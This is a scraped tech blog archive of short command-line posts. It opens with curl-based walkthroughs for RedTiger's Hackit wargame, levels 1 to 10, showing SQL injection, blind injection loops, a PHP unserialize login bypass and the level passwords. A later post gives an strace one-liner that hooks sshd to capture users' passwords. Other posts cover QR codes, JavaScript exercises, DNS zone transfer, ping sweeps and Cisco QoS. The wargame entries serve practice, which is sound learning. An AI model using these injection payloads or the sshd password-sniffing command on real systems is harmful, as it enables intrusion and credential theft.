#curl --silent --insecure --cookie-jar level10 --cookie level10 --request POST --data "password=646f6e745f7468726f775f73746f6e6573&level10login=Login" https://redtiger.dyndns.org/hackit/level10.php#echo -n "YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9" | base64 -d; echo#echo -n 'a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}' | base64#curl --silent --insecure --cookie level10 --request POST --data "login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login" https://redtiger.dyndns.org/hackit/level10.php | grep is:
# RedTigers Hackit wargame: Level 10
Labels:
hackit,
php,
redtigers,
unserialize,
wargame
# RedTigers Hackit wargame: Level 9
#curl --silent --insecure --cookie-jar level9 --cookie level9 --request POST --data "password=736c61705f7468655f6c616d65727a&level9login=Login" https://redtiger.dyndns.org/hackit/level9.php#for i in {1..13}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(username, $[14-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo#for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(password,$[146-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo#for i in {1..13}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(username),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo#for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(password),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo#curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='),((select username from level9_users limit 1),(select password from level9_users limit 1),'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | sed 's/<br>/\n/g' | grep -A 1 Autor#curl --silent --insecure --cookie level9 --request POST --data "user=546865426c7565466c6f776572&password=253231253246666c6f776572703239253344253235643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f753733343935383337343935383734253234253235254137253235253236254137253234253236254137253234253235253236253231254137253234253235444653414446415344465344313334353334353132333472356173644651574525323525413725323425323644466173646661733233343536&login=Login" https://redtiger.dyndns.org/hackit/level9.php | grep is:
# RedTigers Hackit wargame: Level 8
#curl --silent --insecure --cookie-jar level8 --cookie level8 --request POST --data "password=4d4f4f636f774d454f57636174&level8login=Login" https://redtiger.dyndns.org/hackit/level8.php#for i in `seq 1 20`; do email="' or length(password)='$i"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo $i; break; fi; done#for i in `seq 1 18`; do for j in `echo {a..z} {0..9}`; do email="' or left(right(password,$[19-$i]),1)='$j"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo#curl --silent --insecure --cookie level8 --request POST --data "user=Admin&password=7468656d65616e696e676f666c6966653432&login=Login" https://redtiger.dyndns.org/hackit/level8.php | grep is:
# RedTigers Hackit wargame: Level 7
#curl --silent --insecure --cookie-jar level7 --cookie level7 --request POST --data "password=646f6e745f73686f75745f61745f796f75725f6469736b73&level7login=Login" https://redtiger.dyndns.org/hackit/level7.php#for i in `seq 1 17`; do for j in `echo {A..Z} {a..z} {0..9}`; do d=`printf "%d\n" \'$j`; search="Google%' and ord(left(right(news.autor,$[18-$i]),1))=$d and '%'='"; result=`curl --silent --insecure --cookie level7 --request POST --data "search=$search&dosearch=search\!" https://redtiger.dyndns.org/hackit/level7.php | grep -v "<input" | grep Google`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo#curl --silent --insecure --cookie level7 --request POST --data "username=5465737455736572666f72673030676c65&try=Check\!" https://redtiger.dyndns.org/hackit/level7.php | grep is:
# RedTigers Hackit wargame: Level 6
#curl --silent --insecure --cookie-jar level6 --cookie level6 --request POST --data "password=6d795f6361745f736179735f6d656f776d656f77&level6login=Login" https://redtiger.dyndns.org/hackit/level6.php#for i in `seq 1 30`; do echo $i; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20length(password)%20from%20level6_users%20where%20id=3)=$i,true,false)" | grep deddlef`; if [ "$result" != "" ]; then break; fi; done#for i in `seq 1 11`; do for j in `echo {a..z} {0..9}`; do d=` printf "%d\n" \'$j`; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20ord(left(right(password,$[12-$i]),1))%20from%20level6_users%20where%20id=3)=$d,true,false)" | grep deddlef`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo#query2="`echo -n "' union select id,username,email,password,status from level6_users where status=1 limit 1 -- " | xxd -p | tr -d '\n'`"#query1="`echo -n \"0 union select 1,0x$query2,3,4,5\" | sed 's/ /%20/g'`"#curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=$query1" | grep -A 1 -e ">Username" -e Email#curl --silent --insecure --cookie level6 --request POST --data "user=admin&password=6d306e737465726b316c6c&login=Login" https://redtiger.dyndns.org/hackit/level6.php | grep is:
# RedTigers Hackit wargame: Level 5
#curl --silent --insecure --cookie-jar level5 --cookie level5 --request POST --data "password=62616e616e61735f6172655f6e6f745f626c7565&level5login=Login" https://redtiger.dyndns.org/hackit/level5.php#password="whatever"#echo -n $password | md5sum#username="' union select 'user','008c5926ca861023c1d2a36653fd88e2"#curl --silent --insecure --cookie level5 --request POST --data "username=$username&password=$password&login=Login" https://redtiger.dyndns.org/hackit/level5.php?mode=login | grep is:
# RedTigers Hackit wargame: Level 4
#curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data "password=646f6e745f7075626c6973685f736f6c7574696f6e735f41524748&level4login=Login" https://redtiger.dyndns.org/hackit/level4.php#for i in `seq 1 50`; do echo $i; result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20length(keyword)%20from%20level4_secret)=$i,1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then break; fi; done#for i in `seq 1 17`; do for j in `echo {a..z} {0..9}`; do result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20substring(keyword,$i,1)%20from%20level4_secret)='$j',1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then echo -n "$j"; break; fi; done; done; echo#curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data 'secretword=626c696e64696e6a656374696f6e313233&go=Go!' https://redtiger.dyndns.org/hackit/level4.php | grep is:
# RedTigers Hackit wargame: Level 3
#curl --silent --insecure --cookie-jar level3 --cookie level3 --request POST --data "password=73656375726974796d656f775f736179735f636174&level3login=Login" https://redtiger.dyndns.org/hackit/level3.php#curl --silent --insecure --cookie level3 "https://redtiger.dyndns.org/hackit/level3.php?usr\[\]=" | grep Warning#curl --silent --insecure --output urlcrypt.inc https://redtiger.dyndns.org/hackit/urlcrypt.inc#cat myurlcrypt.inc#./myurlcrypt.inc "' union select 1,2,3,4,5,6,7 -- "#curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MjM3MjM3MjI0#./myurlcrypt.inc "' union select 1,2,3,password,username,6,7 from level3_users where username='Admin' -- "#curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3MjI0 | grep -A 1 -e ICQ -e Email#curl --silent --insecure --cookie level3 --request POST --data "user=Admin&password=746869736973617665727973656375726570617373776f7264454545357274&login=Login" https://redtiger.dyndns.org/hackit/level3.php | grep is:
# RedTigers Hackit wargame: Level 2
#curl --silent --insecure --cookie-jar level2 --cookie level2 --request POST --data "password=656173796c6576656c7361726565617379&level2login=Login" https://redtiger.dyndns.org/hackit/level2.php#curl --silent --insecure --cookie level2 --request POST --data "username=' or 'u'='u&password=' or 'p'='p&login=Login" https://redtiger.dyndns.org/hackit/level2.php | grep is:
# RedTigers Hackit wargame: Level 1
#curl --silent --insecure https://redtiger.dyndns.org/hackit/level1.php#curl --silent --insecure "https://redtiger.dyndns.org/hackit/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users" | grep ">Hornoxe" | awk -F "<br>" '{print $4}'#curl --silent --insecure --request POST --data "user=Hornoxe&password=7468617477617365617379&login=Login" https://redtiger.dyndns.org/hackit/level1.php | grep is:
# Encode and decode QR codes
Introduction
QR (Quick Response) code is a type of matrix (2D) barcode.
QR codes have greater storage capacity compared to standard UPC (Universal Product Code) barcodes.
http://en.wikipedia.org/wiki/QR_code
Encode
#Decodeapt-get install qrencode#wc -c glider.png#xxd -p -c 724 glider.png | qrencode -o qrcode.png
#apt-get install zbar-tools#zbarimg --quiet --raw qrcode.png | xxd -p -r > result#file result
# Codecademy: JavaScript
1. Introduction
"text";
"text".length;
3 + 4;
4 / 2;
14 % 3;
//comment
confirm("I feel awesome");
prompt("What is your name?");
["I'm coding like a champ!".length] > 10
console.log("Hello");
console.log(15 > 4);
console.log("Xiao Hui".length < 122);
console.log("Goody Donaldson".length != 8);
console.log(8*2 === 16);
console.log(true !== true);
if ( 1 > 2 ) {
alert("I am right");
} else {
console.log("I am wrong");
}
"wonderful day".substring(3,7);
var myName = "Leng";
var myAge = 30;
var isOdd = true;
myName.length;
var age = prompt("What's your age?");2. Functionsvar divideByThree = function (number) {
var val = number / 3;
console.log("Result = " + val);
};
divideByThree(6);
var timesTwo = function(number) {
return number * 2;
};
var newNumber = timesTwo(2);
console.log(newNumber);
var perimeterBox = function(length, width) {
return length*2 + width*2;
};
perimeterBox(2,2);
var multiplied = 5; // Global
var timesTwo = function(number) {
var multiplied = number * 2; // Local
};
timesTwo(4);
console.log(multiplied);3. 'For' Loopsfor (var counter = 1; counter < 11; counter++) {
console.log(counter);
}
for (var i = 5; i <= 50; i+=5) {
console.log(i);
}
for (var i = 10; i >= 0; i--) {
console.log(i);
}
for (var i = 100; i >= 1; i-=5) {
console.log(i);
}
var junk = ["Mao","Gandhi",1,2];
console.log(junk);
console.log(junk[0]);
console.log(junk.length);4. 'While' Loopsvar understand = true;
while( understand ){
console.log("I'm learning while loops!");
understand = false;
}
loopCondition = false;
do {
console.log("I'm gonna stop looping 'cause my condition is " + String(loopCondition) + "!");
} while (loopCondition);5. More on Control Flowvar lunch = prompt("What do you want for lunch?","Type your lunch choice here");
switch(lunch){
case 'sandwich':
console.log("Sure thing! One sandwich, coming up.");
break;
case 'soup':
console.log("Got it! Tomato's my favorite.");
break;
case 'salad':
console.log("Sounds good! How about a caesar salad?");
break;
case 'pie':
console.log("Pie's not a meal!");
break;
default:
console.log("Huh! I'm not sure what " + lunch + " is. How does a sandwich sound?");
}
true && true // => true
false || false // => false
!true // => false
!false // => true6. Data Structuresvar newArray = [[11,12,13], [21,22,23], [31,32,33]];
var jagged = [[11,12,13], [21], [31,32]];
var phonebookEntry = {};
phonebookEntry.name = 'Oxnard Montalvo';
phonebookEntry.number = '(555) 555-5555';
phonebookEntry.phone = function() {
console.log('Calling ' + this.name + ' at ' + this.number + '...');
};
phonebookEntry.phone();
var myObj = new Object();
myObj["name"] = "Charlie";
myObj.name = "Charlie";7. Objects Ivar bob = {};
var bob = {
name: "Bob Smith",
age: 30
};
var name = bob.name;
var age = bob.age;
var dog = {
species: "greyhound",
weight: 60,
age: 4
};
var species = dog["species"];
var weight = dog["weight"];
var age = dog["age"];
var bob = new Object();
bob.name = "Bob Smith";
bob.age = 30;
bob.setAge = function (newAge){
this.age = newAge;
};
bob.setAge(40);
function Person(name,age) {
this.name = name;
this.age = age;
}
var bob = new Person("Bob Smith", 30);
var family = new Array();
family[0] = new Person("alice", 40);
family[1] = new Person("bob", 42);
var ageDifference = function(person1, person2) {
return person1.age - person2.age;
}
var alice = new Person("Alice", 30);
var billy = new Person("Billy", 25);
var diff = ageDifference(alice,billy);8. Objects IIvar myObj = { job: "I'm an object!" };
console.log( typeof myObj ); // => object
console.log( myObj.hasOwnProperty('job') ); // => true
var nyc = {
fullName: "New York City",
mayor: "Michael Bloomberg",
population: 8000000,
boroughs: 5
};
for (var property in nyc){
console.log(property);
}
for (var i in nyc){
console.log(nyc[i]);
}
function Dog (breed) {
this.breed = breed;
};
var buddy = new Dog("golden Retriever");
Dog.prototype.bark = function() {
console.log("Woof");
};
function Animal(name, numLegs) {
this.name = name;
this.numLegs = numLegs;
}
Animal.prototype.sayName = function() {
console.log("Hi my name is " + this.name);
};
function Penguin(name){
this.name = name;
this.numLegs = 2;
}
Penguin.prototype = new Animal();
function Person(first,last,age) {
this.firstname = first;
this.lastname = last;
this.age = age;
var bankBalance = 7500; // Private var
this.getBalance = function() {
return bankBalance;
};
var returnBalance = function() { // Private function
return bankBalance;
};
this.askTeller = function() {
return returnBalance;
}
}
Labels:
codecademy,
course,
javascript
# DNS zone transfer
dig
# dig @dns_server domain axfrnslookupC:>nslookup - dns_server>set type=any>ls -d domain
# Keyboard shortcuts
bash
ctrl+p: History: previous command (arrow_up).ctrl+n: History: next command (arrow_down).ctrl+d: Signal end-of-file (EOF). Close the window, exit program.ctrl+c: Abort current command/typing.ctrl+w: Erase word to the left.alt+d: Erase word to the right.ctrl+u: Erase line to the left.ctrl+k: Erase line to the right.ctrl+y: Yank/Paste previously erased string.alt+b: Move one word to the left.alt+f: Move one word to the right.ctrl+a: Move to beginning of line.ctrl+e: Move to end of line.ctrl+r: History: reverse search.ctrl+z: Stop execution of the current job.tab: Autocomplete command/file name.shift+ins: Paste contents of clipboard at cursor.shift+page_up: Scroll window up.shift+page_down: Scroll window down.cmd
arrow_up: History: previous command.arrow_down: History: next command.ctrl+c: Abort current command/typing.ctrl+home: Erase line to the left.ctrl+end: Erase line to the right.ctrl+arrow_left: Move one word to the left.ctrl+arrow_right: Move one word to the right.home: Move to beginning of line.end: Move to end of line.F8: History: reverse search.tab: Autocomplete file name.vim
x: Delete char to the right of cursor.dw: Delete word to the right of cursor.db: Delete word to the left of cursor.0: Go to start of line.$: Go to end of line.1G: Go to start of document.$G: Go to end of document.b: Go to previous word.w: Go to next word.k: Go to previous line (arrow-up).j: Go to next line (arrow-down).{: Go to previous paragraph.}: Go to next paragraph./: Search.N: Go to previous search result.n: Go to next search result.:%s/yin/yang/g: Search and replace.
# Fast tools for ping sweeps
nmap
#46432 IP addresses scanned in 72 secondsapt-get install nmap#nmap -n -sn -PE -T5 --max-retries 1 --min-parallelism 100 -iL subnets.txt
# nmap -n -sn -PE -T5 --max-retries 0 --min-parallelism 100 -iL subnets.txt | grep -v Warning46432 IP addresses scanned in 48 secondszmap
#46432 IP addresses scanned in 72 secondswget https://github.com/zmap/zmap/archive/v1.0.0.tar.gz#tar xvzf v1.0.0.tar.gz#cd zmap-1.0.0zmap-1.0.0#cat INSTALLzmap-1.0.0#apt-get install libgmp3-dev gengetopt libpcap-devzmap-1.0.0#cd srczmap-1.0.0/src#makezmap-1.0.0/src#make installzmap-1.0.0/src#cd#rm -rf zmap-1.0.0 v1.0.0.tar.gz#sed -i 's/^black/#black/' /etc/zmap/zmap.conf#zmap -M icmp_echoscan -B 1G -P 1 -T 100 -w subnets.txt
# Posix threads in C
Differences between processes and threads
- Processes do not share their address space while threads are executed under the same process address space.
- Context switching is faster between threads than between processes.
- Threads can directly communicate (mutex, direct memory access) with other threads of its process but processes must use IPC (signals, semaphores, queues, shared memory) to communicate with other processes.
Code example
#cat threads_example.c#gcc -o threads_example threads_example.c -lpthread
# Getting passwords of all users
# strace -f -e "read" -p `ps axuf | grep -m 1 sshd | awk '{print $2}'` 2>&1 | grep -e '\\7\\0\\0\\0\\4' -e '\\v\\0\\0\\0\\10'
Labels:
command-line,
one-liner,
password,
sshd,
strace
# Getting the 3G signal strength value
Using chat
#Using comgtsakis3g disconnect#chat -V -s '' 'AT+CSQ' 'OK' '' > /dev/ttyUSB0 < /dev/ttyUSB0
#Script with chatsakis3g disconnect#comgt -d /dev/ttyUSB0 sig
#cat get_rssi#./get_rssi
Labels:
3g,
chat,
comgt,
rssi,
shellscript
# Classification and marking
Fields that can be marked for QoS purposes
- IP header
- LAN trunking header
- Frame Relay header
- ATM cell header
IP Precedence and DSCP compared
The IP header is defined in RFC 791, including 1 bytes called Type of Service (ToS).
The ToS was further subdivided, with the high-order 3 bits defined as the IP Precedence (IPP):
- Routine: Precedence 0 - 000
- Priority: Precedence 1 - 001
- Immediate: Precedence 2 - 010
- Flash: Precedence 3 - 011
- Flash Override: Precedence 4 - 100
- Critical: Precedence 5 - 101
- Internetwork Control: Precedence 6 - 110
- Network Control: Precedence 7 - 111
A series of RFC collectively called Differentiated Services (DiffServ) came along later.
The ToS was renamed the Differentiated Services (DS) field, and IPP was replaced with a 6 bits field called the Differentiated Services Code Point (DSCP).
DSCP settings and terminology
Several DiffServ RFCs suggest a set of values to use in the DSCP field and the associated QoS behavior recommended, called Per-Hop Behavior (PHB).
Class selector PHB and DSCP values
IPP overlaps with the first 3 bits of the DSCP.
RFC 2475 defines a set of DSCP values and PHBs, called Class Selector (CS) PHBs, that provide backward compatibility with IPP:
- Default/CS0: 000000 - 000 - Routine
- CS1: 001000 - 001 - Priority
- CS2: 010000 - 010 - Immediate
- CS3: 011000 - 011 - Flash
- CS4: 100000 - 100 - Flash Override
- CS5: 101000 - 101 - Critical
- CS6: 110000 - 110 - Interwork Control
- CS7: 111000 - 111 - Network Control
Packets with larger CS should be given better queuing preference.
Assured Forwarding PHBs and DSCP values
AF defines four classes (1-4) for queuing purposes with tree levels (1-3) of drop probability inside each queue.
Classes with a higher value have a better queuing treatment.
A higher level means a higher probability to being dropped.
- AF11, AF12, AF13: 001010, 001100, 001110
- AF21, AF22, AF23: 010010, 010100, 010110
- AF31, AF32, AF33: 011010, 011100, 011110
- AF41, AF42, AF43: 100010, 100100, 100110
Expedited Forwarding PHB and DSCP values
Packets marked as EF should be given queuing preference so that they experience minimal latency but they should be policed to do not consume all bandwidth on the link or starve other queues.
The DSCP value defined is binary value 101110 (class 5, EF53).
Ethernet LAN Class of Service
Ethernet supports a 3-bit QoS marking field when using either an 802.1q or ISL trunking header.
802.1q defines its QoS field as the 3 most-significant bits of the 2-byte Tag Control field.
ISL defines the 3 least-significant bits from the 1-byte User field.
Generally speaking, these 3 bits are called the Class of Service (CoS).
WAN marking fields
Frame Relay uses the Discard Eligibility (DE) bit. Frames with the DE set to 1 are considered to be dropped.
ATM uses the Cell Loss Priority (CLP) bit. Cells with the CLP set to 1 are considered to be dropped.
MPLS uses the a 3-bit field called Experimental (EXP) for general QoS marking.
Locations for marking and matching
For IPP and DSCP on edge devices.
For CoS, DE, CLP and EXP:
- For classification: on ingress interfaces.
- For marking: on egress interfaces.
Cisco Modular QoS CLI
MQC is a common set of configuration commands to configure many QoS features in a router or switch.
MQC-based tools can be identified by the name, they all begin with the phrase "Class-Based" (CB):
- CB Marking
- CB Weighted Fair Queuing (CBWFQ)
- CB Policing
- CB Shaping
- CB Header Compression
Mechanics of MQC
There are three major commands with MQC:
- The
class-map command defines the matching parameters.- The PHB actions (marking, queuing, ...) are configured under the
policy-map.- The policy map is enabled on an interface by using a
service-policy command.Classification using class maps
- The
match command has many options for matching packets (QoS fields, ACLs, MACs, ...).- Class-map names are case sensitive.
- The
match protocol command means that IOS uses Network Based Application Recognition (NBAR) to perform the match.- The
match any command matches any packet.- CEF is required for CB Marking.
ip cef class-map match-all myclass1 match ip rtp 16384 16383 ! (16384-32767) class-map match-all myclass2 match any policy-map mypolicy class myclass1 set dscp EF class myclass2 set dscp default interface fa0/0 service-policy output mypolicyUsing multiple match commands
- Up to four (CoS and IPP) or eight (DSCP) values can be listed on a single
match cos, match precedence or match dscp.- If a class map has multiple
match commadns in it, the match-any or match-all (default) define a logical OR or a logical AND between the match commands.- The
match class _name_ command refers to another class map by name.Classification using NBAR
NBAR can look past the UDP and TCP header and refer to the host name, URL or MIME type in HTTP requests.
You can upgrade NBAR without changing to a later IOS version. Cisco uses a feature called Packet Description Language Modules (PDLM) to define new protocolos that NBAR should match:
ip nbar pdlm _pdlm-name_Class-Based Marking (CB Marking) configuration
- A CB Marking policy map is processed sequentially; one a packet has matched a class, it is marked based on the
set commands.- You can configure multiple
set commands in one class to set multiple fields.- Packets that do not explicity match a defined class are considered to have matched a special class called class-default.
- For any class inside the policy map for which there is no set command, packets in that class are not marked.
-
set [ip] precedence _value_-
set [ip] dscp _value_-
set cos _value_-
set qos-group _id_ ! Marks the group identifier for the QoS group-
set atm-clp-
set fr-deCB Marking design choises
Mark as close to the ingress edge of the network as possible but not so close to the edge that the marking is made by an untrusted device.
RFC-recomended values for marking CoS, IPP, DSCP:
- Voice payload: 5, 5, EF
- Video payload: 4, 4, AF41
- Voice/video signaling: 3, 3, CS3
- Mission-critical data: 3, 3, AF31/AF32/AF33
- Transactional data: 2, 2, AF21/AF22/AF23
- Bulk data: 1, 1, AF11/AF12/AF13
- Best effort: 0, 0, BE
- Scavenger: 0, 0, 2/4/6
QoS pre-classification
With VPN traffic, the only thing we have to work with is the ToS byte of the original packet, which is automatically copied to the tunnel header (IPsec transport mode, IPsec tunnel mode and GRE).
But features like NBAR are broken.
Cisco IOS includes a feature called QoS pre-classification that can be enabled on VPN endpoint routers that keep the original traffic in memory until the egress QoS actions is taken:
- GRE and IPIP:
interface tunnel- L2F and L2TP:
interface virtual-template- IPsec:
crypto mapAutoQoS
Is a macro that helps automate class-based Qos configuration using best practice recommendations.
There are two flavors: AutoQoS for VoIP and for the Enterprise.
To verify AutoQoS configuration use:
-
show auto qos-
show mls qos-
show policy-map interface-
show auto discovery qosAutoQoS for VoIP
Provides QoS both global and interface configuration for voice and video applications.
Is supported on routers and switches.
When enabled on access ports, AutoQoS uses CDP to detect the presence of a Cisco phone or softphone:
-
auto qos voip {cisco-phone | cisco-softphone}- Normal traffic is treated as best effort.
- For phone traffic, the switch trusts the QoS markings it receives.
When enabled on a trunk or uplink, it trusts the CoS or DSCP values received:
-
auto qos voip trustAutoQoS for the Enterprise
Provides QoS both global and interface configuration for voice, video and other network applications.
Is supported on routers.
The command to enable traffic discovery is
auto discovery qos [trust] and is configured at the interface, DLCI or PVC level.Use the
trust keyword if you trust the traffic already marked because AutoQoS policies will use those markings during the configuration stage.The router will classify the traffic collected into one of ten classes:
- Routing: CS6 - EIGRP, OSPF
- VoIP: EF - RTP voice media
- Interactive video: AF41 - RTP video media
- Streaming video: CS4 - Real audio, Netshow
- Control: CS3 - RTCP, H323, SIP
- Transactional: AF21 - SAP, Citrix, Telnet, SSH
- Bulk: AF11 - FTP, SMTP, POP3, Exchange
- Scavenger: CS1 - P2P applications
- Management: CS2 - SNMP, Syslog, DHCP, DNS
- Best effort: All others - All others.
Finally, configure the
auto qos command and disable the traffic discovery.
# Tweets to RSS
#apt-get install curl apache2 php5 php5-curl#url="https://github.com/chrissimpkins/tweetledee/archive/master.zip"#curl --silent --output tweetledee-master.zip --location $url#unzip tweetledee-master.zip#mv tweetledee-master/tweetledee /var/www/.## Subscribe an application at https://dev.twitter.com/apps/new#grep ^.my /var/www/tweetledee/tldlib/keys/tweetledee_keys.php#curl --silent http://127.0.0.1/tweetledee/homerss.php#curl --silent http://127.0.0.1/tweetledee/userrss.php?user=at1as
Labels:
oauth,
rss,
tweet,
tweetledee,
twitter
Subscribe to:
Posts (Atom)